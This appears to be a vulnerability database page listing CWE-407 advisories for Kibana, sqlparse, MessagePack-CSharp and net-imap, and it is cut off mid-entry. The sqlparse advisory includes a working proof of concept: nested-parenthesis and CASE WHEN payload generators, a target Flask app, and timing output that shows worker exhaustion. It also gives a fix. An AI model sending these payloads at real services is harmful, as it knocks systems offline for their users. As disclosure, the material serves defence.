GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-407

Allowed-with-Review

Inefficient Algorithmic Complexity

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

277 vulnerabilities reference this CWE, most recent first.

GHSA-PW35-6253-9877

Vulnerability from github – Published: 2026-08-13 21:36 – Updated: 2026-08-13 21:36
VLAI
Details

Inefficient Algorithmic Complexity (CWE-407) in Kibana can lead to denial of service via Input Data Manipulation (CAPEC-153). A specially crafted, deeply nested expression submitted to a Kibana TSVB visualization is evaluated with a worst-case cost that grows disproportionately with the size of the input. Because the evaluation runs synchronously, a single request consumes the Kibana request-processing thread indefinitely, and Kibana stops responding to all further requests until the service is restarted.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-72663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T20:17:26Z",
    "severity": "MODERATE"
  },
  "details": "Inefficient Algorithmic Complexity (CWE-407) in Kibana can lead to denial of service via Input Data Manipulation (CAPEC-153). A specially crafted, deeply nested expression submitted to a Kibana TSVB visualization is evaluated with a worst-case cost that grows disproportionately with the size of the input. Because the evaluation runs synchronously, a single request consumes the Kibana request-processing thread indefinitely, and Kibana stops responding to all further requests until the service is restarted.",
  "id": "GHSA-pw35-6253-9877",
  "modified": "2026-08-13T21:36:09Z",
  "published": "2026-08-13T21:36:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72663"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-8-19-20-and-9-4-5-security-update-esa-2026-104/389520"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PWGV-4X5Q-6M9F

Vulnerability from github – Published: 2026-08-17 17:49 – Updated: 2026-08-17 17:49
VLAI
Summary
sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger
Details

Summary

sqlparse ships hard limits (MAX_GROUPING_DEPTH=100, MAX_GROUPING_TOKENS=10000) intended to bound parsing work on attacker-supplied SQL, but the path that reaches those limits is itself O(n*depth) per token-group construction. A ~1-2 KB SQL payload (e.g. SELECT (((((1))))) ... with 500-2000 nesting levels, or a 200-400-level nested CASE WHEN chain) drives the parser to spend multiple seconds of CPU before the depth cap raises SQLParseError. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.

The root cause is TokenList.__init__ calling super().__init__(None, str(self)). TokenList.__str__ flattens the entire subtree on every call, and grouping constructs a new TokenList for every parenthesis / CASE / list group, so a tree of depth d with n total tokens performs O(n*d) flatten work just to materialize the cached value field, which is then never read for grouped nodes (they override __str__).

This is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to trigger the caps is itself superlinear in payload size.

Affected components

sqlparse 0.5.5 (latest) and every prior version that ships TokenList.__init__. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (da67ac1, 2025-12-08) added depth + token caps to _group_matching / _group but left the per-node str(self) materialization untouched.

Vulnerable code (file:line)

sqlparse/sql.py#L162 (release 0.5.5) / sqlparse/sql.py#L167 (current master):

class TokenList(Token):
    __slots__ = 'tokens'

    def __init__(self, tokens=None):
        self.tokens = tokens or []
        [setattr(token, 'parent', self) for token in self.tokens]
        super().__init__(None, str(self))   # ← O(subtree) work per group
        self.is_group = True

    def __str__(self):
        return ''.join(token.value for token in self.flatten())

__str__ recurses via flatten() over the entire subtree below self. Every TokenList constructed during grouping (every Parenthesis, Case, IdentifierList, etc.) runs this on its current children, which themselves recursively call flatten(). For grouping that builds a tree of depth d containing n tokens, the construction cost is O(n * d).

The grouping pipeline that triggers it lives at sqlparse/engine/grouping.py#L80 (group_parenthesis) and sqlparse/engine/grouping.py#L84 (group_case). Both call _group_matching which builds nested Parenthesis / Case TokenList instances bottom-up.

Reachable / How input reaches the sink

sqlparse.parse(sql), sqlparse.format(sql, reindent=True), and sqlparse.split(sql) are the documented entry points and all flow into engine/filter_stack.py:run → engine/grouping.py:group → group_parenthesis / group_case. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested CASE WHEN, nested subqueries, or nested ARRAY[] literals.

Real-world consumers that feed user input directly into these entry points include any SQL formatter web service (the sqlformat.org-style class of tools), Django's format_debug_sql (django/db/backends/base/operations.py) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as sql-metadata (Parser(sql).columns triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).

Proof of concept

Minimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):

import sqlparse, time, signal

def _h(s, f): raise TimeoutError()
signal.signal(signal.SIGALRM, _h)

def measure(label, sql, fn):
    signal.alarm(30)
    t0 = time.perf_counter()
    status = 'OK'
    try:
        fn(sql)
    except sqlparse.exceptions.SQLParseError:
        status = 'CAP'
    except TimeoutError:
        status = 'TIMEOUT'
    finally:
        signal.alarm(0)
    dt = (time.perf_counter() - t0) * 1000
    print(f'  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)')

# Vector 1: deeply nested parentheses
for n in (200, 500, 1000, 2000):
    sql = 'SELECT ' + '(' * n + '1' + ')' * n
    measure(f'nested-paren n={n}', sql, sqlparse.parse)

# Vector 2: deeply nested CASE WHEN
for n in (100, 200, 400):
    case = '1'
    for i in range(n):
        case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'
    measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)

Output on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):

  CAP         80.7ms  nested-paren n=200  (408 B)
  CAP       1342.9ms  nested-paren n=500  (1008 B)
  CAP      11206.9ms  nested-paren n=1000  (2008 B)
  TIMEOUT  >10000ms   nested-paren n=2000  (4008 B)
  CAP         83.1ms  CASE-nested n=100  (3405 B)
  CAP        559.6ms  CASE-nested n=200  (6905 B)
  CAP       5012.2ms  CASE-nested n=400  (13905 B)

cProfile attribution (nested-paren n=500, 1008 B input, 3.1 s total):

ncalls   cumtime  filename:lineno(function)
   501    3.133   sqlparse/sql.py:165(__str__)
   501    3.127   {method 'join' of 'str' objects}
252504    3.110   sqlparse/sql.py:166(<genexpr>)
42168504 3.079   sqlparse/sql.py:207(flatten)

42 million flatten() calls for a 1 KB input. The cap raises at depth 100, but TokenList.__init__ ran str(self) once per group construction and each call walked the partial subtree.

End-to-end reproduction (against running consumer)

victim_app.py (a 50-line Flask formatter, the canonical sqlparse consumer pattern):

from flask import Flask, request, jsonify
import sqlparse, time
app = Flask(__name__)

@app.route('/parse', methods=['POST'])
def parse_sql():
    sql = request.get_data(as_text=True)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(sql)
        return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)})
    except sqlparse.exceptions.SQLParseError as e:
        return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400

@app.route('/format', methods=['POST'])
def format_sql():
    sql = request.get_data(as_text=True)
    t0 = time.perf_counter()
    formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')
    return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)})

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5099, threaded=False)

Driver run (Python 3.9, sqlparse 0.5.5, threaded=False so one worker per request):

=== Baseline (benign payloads) ===
  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms
  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms
  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms

=== Malicious payloads (within default caps) ===
  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False
  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False
  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False
  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False
  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False
  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True

A 2 KB payload (nested-paren n=1000) pins one worker for 10 seconds at 100% CPU. With gunicorn -w N deploying the same app, N concurrent malicious requests exhaust every worker and bring the service down. The cap SQLParseError exception is delivered to the caller, but only after the CPU work is already burnt.

Impact

  • Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption).
  • Multi-worker service: attacker sends N parallel requests, exhausts the worker pool.
  • Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU).
  • Downstream library impact: sql-metadata.Parser(sql).columns calls sqlparse.parse internally and inherits the exact same hang (nested-paren n=1000 → 11.3 s).

Suggested fix

Replace the eager str(self) materialization with a single-pass concatenation of children's already-cached value fields. The Token.value invariant value == str(self) at construction is preserved (children's value is itself built the same way bottom-up), but the per-node cost drops from O(subtree) to O(len(self.tokens)):

def __init__(self, tokens=None):
    self.tokens = tokens or []
    [setattr(token, 'parent', self) for token in self.tokens]
    # Avoid materializing the full subtree via str(self): concatenating
    # children's already-cached `value` is O(len(tokens)) per group,
    # whereas str(self) recursively flattens the entire subtree which is
    # O(subtree) per node and turns nested grouping into O(n * depth).
    super().__init__(None, ''.join(token.value for token in self.tokens))
    self.is_group = True

Measured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched 0d24023):

Vector Before fix After fix Speedup
nested-paren n=500 1336 ms 11 ms 121x
nested-paren n=1000 11206 ms 22 ms 509x
nested-paren n=2000 TIMEOUT (>10 s) 45 ms 220x+
CASE-nested n=200 559 ms 25 ms 22x
CASE-nested n=500 TIMEOUT (>10 s) 61 ms 160x+
benign 1 KB SQL 3 ms 3 ms unchanged

End-to-end Flask victim_app re-run against the patched library:

  nested-paren n=1000                        2008B  server=    34.6ms
  nested-paren n=2000                        4008B  server=    67.2ms
  CASE-nested n=400                         13905B  server=    49.5ms
  benign 1 KB SQL                             220B  server=     3.4ms

The IN-tuple format() vector observed at n=1000 (3.8 s for ~10 KB input) is a separate quadratic in the reindent filter (filters/reindent.py:_get_offset → _flatten_up_to_token) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.

Fix PR

A fix PR against the temp private fork, mirroring the diff above with a regression test (test_nested_paren_within_cap_under_50ms), is attached and linked from this advisory.

Credit

Reported by tonghuaroot.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "sqlparse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54284"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:49:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`sqlparse` ships hard limits (`MAX_GROUPING_DEPTH=100`, `MAX_GROUPING_TOKENS=10000`) intended to bound parsing work on attacker-supplied SQL, but the path that *reaches* those limits is itself `O(n*depth)` per token-group construction. A ~1-2 KB SQL payload (e.g. `SELECT (((((1))))) ...` with 500-2000 nesting levels, or a 200-400-level nested `CASE WHEN` chain) drives the parser to spend multiple seconds of CPU before the depth cap raises `SQLParseError`. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.\n\nThe root cause is `TokenList.__init__` calling `super().__init__(None, str(self))`. `TokenList.__str__` flattens the entire subtree on every call, and grouping constructs a new `TokenList` for every parenthesis / CASE / list group, so a tree of depth `d` with `n` total tokens performs `O(n*d)` flatten work just to materialize the cached `value` field, which is then never read for grouped nodes (they override `__str__`).\n\nThis is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to *trigger* the caps is itself superlinear in payload size.\n\n### Affected components\n\n`sqlparse` 0.5.5 (latest) and every prior version that ships `TokenList.__init__`. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (`da67ac1`, 2025-12-08) added depth + token caps to `_group_matching` / `_group` but left the per-node `str(self)` materialization untouched.\n\n### Vulnerable code (file:line)\n\n[`sqlparse/sql.py#L162`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/sql.py#L162) (release 0.5.5) / [`sqlparse/sql.py#L167`](https://github.com/andialbrecht/sqlparse/blob/c923da9c5a8e8403dd32efc2171b60a177444d43/sqlparse/sql.py#L167) (current `master`):\n\n```python\nclass TokenList(Token):\n    __slots__ = \u0027tokens\u0027\n\n    def __init__(self, tokens=None):\n        self.tokens = tokens or []\n        [setattr(token, \u0027parent\u0027, self) for token in self.tokens]\n        super().__init__(None, str(self))   # \u2190 O(subtree) work per group\n        self.is_group = True\n\n    def __str__(self):\n        return \u0027\u0027.join(token.value for token in self.flatten())\n```\n\n`__str__` recurses via `flatten()` over the *entire* subtree below `self`. Every `TokenList` constructed during grouping (every `Parenthesis`, `Case`, `IdentifierList`, etc.) runs this on its current children, which themselves recursively call `flatten()`. For grouping that builds a tree of depth `d` containing `n` tokens, the construction cost is `O(n * d)`.\n\nThe grouping pipeline that triggers it lives at [`sqlparse/engine/grouping.py#L80`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L80) (`group_parenthesis`) and [`sqlparse/engine/grouping.py#L84`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L84) (`group_case`). Both call `_group_matching` which builds nested `Parenthesis` / `Case` `TokenList` instances bottom-up.\n\n### Reachable / How input reaches the sink\n\n`sqlparse.parse(sql)`, `sqlparse.format(sql, reindent=True)`, and `sqlparse.split(sql)` are the documented entry points and all flow into `engine/filter_stack.py:run` \u2192 `engine/grouping.py:group` \u2192 `group_parenthesis` / `group_case`. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested `CASE WHEN`, nested subqueries, or nested `ARRAY[]` literals.\n\nReal-world consumers that feed user input directly into these entry points include any SQL formatter web service (the `sqlformat.org`-style class of tools), Django\u0027s `format_debug_sql` (`django/db/backends/base/operations.py`) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as `sql-metadata` (`Parser(sql).columns` triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).\n\n### Proof of concept\n\nMinimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):\n\n```python\nimport sqlparse, time, signal\n\ndef _h(s, f): raise TimeoutError()\nsignal.signal(signal.SIGALRM, _h)\n\ndef measure(label, sql, fn):\n    signal.alarm(30)\n    t0 = time.perf_counter()\n    status = \u0027OK\u0027\n    try:\n        fn(sql)\n    except sqlparse.exceptions.SQLParseError:\n        status = \u0027CAP\u0027\n    except TimeoutError:\n        status = \u0027TIMEOUT\u0027\n    finally:\n        signal.alarm(0)\n    dt = (time.perf_counter() - t0) * 1000\n    print(f\u0027  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)\u0027)\n\n# Vector 1: deeply nested parentheses\nfor n in (200, 500, 1000, 2000):\n    sql = \u0027SELECT \u0027 + \u0027(\u0027 * n + \u00271\u0027 + \u0027)\u0027 * n\n    measure(f\u0027nested-paren n={n}\u0027, sql, sqlparse.parse)\n\n# Vector 2: deeply nested CASE WHEN\nfor n in (100, 200, 400):\n    case = \u00271\u0027\n    for i in range(n):\n        case = f\u0027CASE WHEN x={i} THEN {case} ELSE NULL END\u0027\n    measure(f\u0027CASE-nested n={n}\u0027, f\u0027SELECT {case} FROM t\u0027, sqlparse.parse)\n```\n\nOutput on the reporter\u0027s machine (Python 3.9, sqlparse 0.5.5, single core):\n\n```\n  CAP         80.7ms  nested-paren n=200  (408 B)\n  CAP       1342.9ms  nested-paren n=500  (1008 B)\n  CAP      11206.9ms  nested-paren n=1000  (2008 B)\n  TIMEOUT  \u003e10000ms   nested-paren n=2000  (4008 B)\n  CAP         83.1ms  CASE-nested n=100  (3405 B)\n  CAP        559.6ms  CASE-nested n=200  (6905 B)\n  CAP       5012.2ms  CASE-nested n=400  (13905 B)\n```\n\n`cProfile` attribution (nested-paren n=500, 1008 B input, 3.1 s total):\n\n```\nncalls   cumtime  filename:lineno(function)\n   501    3.133   sqlparse/sql.py:165(__str__)\n   501    3.127   {method \u0027join\u0027 of \u0027str\u0027 objects}\n252504    3.110   sqlparse/sql.py:166(\u003cgenexpr\u003e)\n42168504 3.079   sqlparse/sql.py:207(flatten)\n```\n\n42 million `flatten()` calls for a 1 KB input. The cap raises at depth 100, but `TokenList.__init__` ran `str(self)` once per group construction and each call walked the partial subtree.\n\n### End-to-end reproduction (against running consumer)\n\n`victim_app.py` (a 50-line Flask formatter, the canonical sqlparse consumer pattern):\n\n```python\nfrom flask import Flask, request, jsonify\nimport sqlparse, time\napp = Flask(__name__)\n\n@app.route(\u0027/parse\u0027, methods=[\u0027POST\u0027])\ndef parse_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(sql)\n        return jsonify({\u0027ok\u0027: True, \u0027parse_ms\u0027: round((time.perf_counter()-t0)*1000, 1)})\n    except sqlparse.exceptions.SQLParseError as e:\n        return jsonify({\u0027ok\u0027: False, \u0027parse_ms\u0027: round((time.perf_counter()-t0)*1000, 1), \u0027error\u0027: str(e)}), 400\n\n@app.route(\u0027/format\u0027, methods=[\u0027POST\u0027])\ndef format_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    formatted = sqlparse.format(sql, reindent=True, keyword_case=\u0027upper\u0027)\n    return jsonify({\u0027ok\u0027: True, \u0027parse_ms\u0027: round((time.perf_counter()-t0)*1000, 1), \u0027len\u0027: len(formatted)})\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u0027127.0.0.1\u0027, port=5099, threaded=False)\n```\n\nDriver run (Python 3.9, sqlparse 0.5.5, `threaded=False` so one worker per request):\n\n```\n=== Baseline (benign payloads) ===\n  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms\n  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms\n  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms\n\n=== Malicious payloads (within default caps) ===\n  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False\n  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False\n  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False\n  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False\n  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False\n  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True\n```\n\nA 2 KB payload (`nested-paren n=1000`) pins one worker for 10 seconds at 100% CPU. With `gunicorn -w N` deploying the same app, `N` concurrent malicious requests exhaust every worker and bring the service down. The cap `SQLParseError` exception is delivered to the caller, but only *after* the CPU work is already burnt.\n\n### Impact\n\n- Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 \u2014 uncontrolled resource consumption).\n- Multi-worker service: attacker sends `N` parallel requests, exhausts the worker pool.\n- Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request \u2192 10 seconds CPU).\n- Downstream library impact: `sql-metadata.Parser(sql).columns` calls `sqlparse.parse` internally and inherits the exact same hang (`nested-paren n=1000` \u2192 11.3 s).\n\n### Suggested fix\n\nReplace the eager `str(self)` materialization with a single-pass concatenation of children\u0027s already-cached `value` fields. The `Token.value` invariant `value == str(self) at construction` is preserved (children\u0027s `value` is itself built the same way bottom-up), but the per-node cost drops from `O(subtree)` to `O(len(self.tokens))`:\n\n```python\ndef __init__(self, tokens=None):\n    self.tokens = tokens or []\n    [setattr(token, \u0027parent\u0027, self) for token in self.tokens]\n    # Avoid materializing the full subtree via str(self): concatenating\n    # children\u0027s already-cached `value` is O(len(tokens)) per group,\n    # whereas str(self) recursively flattens the entire subtree which is\n    # O(subtree) per node and turns nested grouping into O(n * depth).\n    super().__init__(None, \u0027\u0027.join(token.value for token in self.tokens))\n    self.is_group = True\n```\n\nMeasured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched `0d24023`):\n\n| Vector | Before fix | After fix | Speedup |\n|---|---|---|---|\n| nested-paren n=500 | 1336 ms | 11 ms | 121x |\n| nested-paren n=1000 | 11206 ms | 22 ms | 509x |\n| nested-paren n=2000 | TIMEOUT (\u003e10 s) | 45 ms | 220x+ |\n| CASE-nested n=200 | 559 ms | 25 ms | 22x |\n| CASE-nested n=500 | TIMEOUT (\u003e10 s) | 61 ms | 160x+ |\n| benign 1 KB SQL | 3 ms | 3 ms | unchanged |\n\nEnd-to-end Flask `victim_app` re-run against the patched library:\n\n```\n  nested-paren n=1000                        2008B  server=    34.6ms\n  nested-paren n=2000                        4008B  server=    67.2ms\n  CASE-nested n=400                         13905B  server=    49.5ms\n  benign 1 KB SQL                             220B  server=     3.4ms\n```\n\nThe IN-tuple `format()` vector observed at `n=1000` (3.8 s for ~10 KB input) is a separate quadratic in the `reindent` filter (`filters/reindent.py:_get_offset` \u2192 `_flatten_up_to_token`) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.\n\n### Fix PR\n\nA fix PR against the temp private fork, mirroring the diff above with a regression test (`test_nested_paren_within_cap_under_50ms`), is attached and linked from this advisory.\n\n### Credit\n\nReported by [tonghuaroot](https://github.com/tonghuaroot).",
  "id": "GHSA-pwgv-4x5q-6m9f",
  "modified": "2026-08-17T17:49:47Z",
  "published": "2026-08-17T17:49:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-pwgv-4x5q-6m9f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/939b129e24c0ad5d51368b1aa72fffcaca76f06f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andialbrecht/sqlparse"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger"
}

GHSA-Q2H6-GHWM-5QM8

Vulnerability from github – Published: 2026-06-25 21:29 – Updated: 2026-06-25 21:29
VLAI
Summary
MessagePack-CSharp: InterfaceLookupFormatter bypasses collision-resistant comparer settings
Details

Summary

InterfaceLookupFormatter<TKey,TElement> constructs an internal Dictionary<TKey, IGrouping<TKey,TElement>> with the default equality comparer instead of the security-aware comparer supplied by options.Security.GetEqualityComparer<TKey>().

Other hash-based collection formatters use the security-aware comparer when MessagePackSecurity.UntrustedData is configured. This formatter omission allows hash-collision CPU denial of service against ILookup<TKey,TElement> even when the application has opted into the untrusted-data security posture.

Impact

Applications are affected when they deserialize untrusted payloads into schemas containing ILookup<TKey,TElement> with a key type for which attacker-controlled hash collisions are feasible.

Under the default comparer, many colliding keys can degrade dictionary insertion from amortized constant time to quadratic behavior. A payload of colliding keys can consume CPU for a disproportionate amount of time. This bypasses the mitigation that developers intentionally enabled by using MessagePackSecurity.UntrustedData.

Affected components

  • Package: MessagePack
  • API: InterfaceLookupFormatter<TKey,TElement>.Create
  • Data type: ILookup<TKey,TElement>
  • Finding ID: MESSAGEPACKCSHARP-041

Patches

Fixes are prepared and will be released in coordinated patch versions.

Upgrade guidance:

  1. Upgrade MessagePack to the patched version for your release line.
  2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.

The fix should create the internal dictionary with options.Security.GetEqualityComparer<TKey>(), matching the sibling dictionary and lookup formatter behavior.

Workarounds

Patching is recommended.

Until a patched version is available, avoid exposing ILookup<TKey,TElement> in DTOs that deserialize untrusted data. Use collection shapes that are already protected by the security-aware comparer path, or validate and cap collection sizes at the transport boundary.

Resources

  • MESSAGEPACKCSHARP-041: InterfaceLookupFormatter missing security comparer
  • CWE-407: Inefficient Algorithmic Complexity
Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.301"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T21:29:39Z",
    "nvd_published_at": "2026-06-22T22:16:48Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`InterfaceLookupFormatter\u003cTKey,TElement\u003e` constructs an internal `Dictionary\u003cTKey, IGrouping\u003cTKey,TElement\u003e\u003e` with the default equality comparer instead of the security-aware comparer supplied by `options.Security.GetEqualityComparer\u003cTKey\u003e()`.\n\nOther hash-based collection formatters use the security-aware comparer when `MessagePackSecurity.UntrustedData` is configured. This formatter omission allows hash-collision CPU denial of service against `ILookup\u003cTKey,TElement\u003e` even when the application has opted into the untrusted-data security posture.\n\n## Impact\n\nApplications are affected when they deserialize untrusted payloads into schemas containing `ILookup\u003cTKey,TElement\u003e` with a key type for which attacker-controlled hash collisions are feasible.\n\nUnder the default comparer, many colliding keys can degrade dictionary insertion from amortized constant time to quadratic behavior. A payload of colliding keys can consume CPU for a disproportionate amount of time. This bypasses the mitigation that developers intentionally enabled by using `MessagePackSecurity.UntrustedData`.\n\n## Affected components\n\n- Package: `MessagePack`\n- API: `InterfaceLookupFormatter\u003cTKey,TElement\u003e.Create`\n- Data type: `ILookup\u003cTKey,TElement\u003e`\n- Finding ID: `MESSAGEPACKCSHARP-041`\n\n## Patches\n\nFixes are prepared and will be released in coordinated patch versions.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should create the internal dictionary with `options.Security.GetEqualityComparer\u003cTKey\u003e()`, matching the sibling dictionary and lookup formatter behavior.\n\n## Workarounds\n\nPatching is recommended.\n\nUntil a patched version is available, avoid exposing `ILookup\u003cTKey,TElement\u003e` in DTOs that deserialize untrusted data. Use collection shapes that are already protected by the security-aware comparer path, or validate and cap collection sizes at the transport boundary.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-041`: `InterfaceLookupFormatter` missing security comparer\n- CWE-407: Inefficient Algorithmic Complexity",
  "id": "GHSA-q2h6-ghwm-5qm8",
  "modified": "2026-06-25T21:29:40Z",
  "published": "2026-06-25T21:29:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-q2h6-ghwm-5qm8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48516"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack-CSharp: InterfaceLookupFormatter bypasses collision-resistant comparer settings"
}

GHSA-Q2MW-FVJ9-VVCW

Vulnerability from github – Published: 2026-05-04 22:02 – Updated: 2026-05-14 20:48
VLAI
Summary
net-imap has quadratic complexity when reading response literals
Details

Summary

Net::IMAP::ResponseReader has quadratic time complexity when reading large responses containing many string literals. A hostile server can send responses which are crafted to exhaust the client's CPU for a denial of service attack.

Details

For each literal in a response, ResponseReader rescans the entire growing response buffer. The regular expression that is used to scan the response buffer runs in linear time. With many literals, this becomes O(n²) total work. The regular expression should run in constant time: it is anchored to the end and only the last 23 bytes of the buffer are relevant.

Because the algorithmic complexity is super-linear, this bypasses protection from max_response_size: a response can stay well below the default size limit while still causing very large CPU cost.

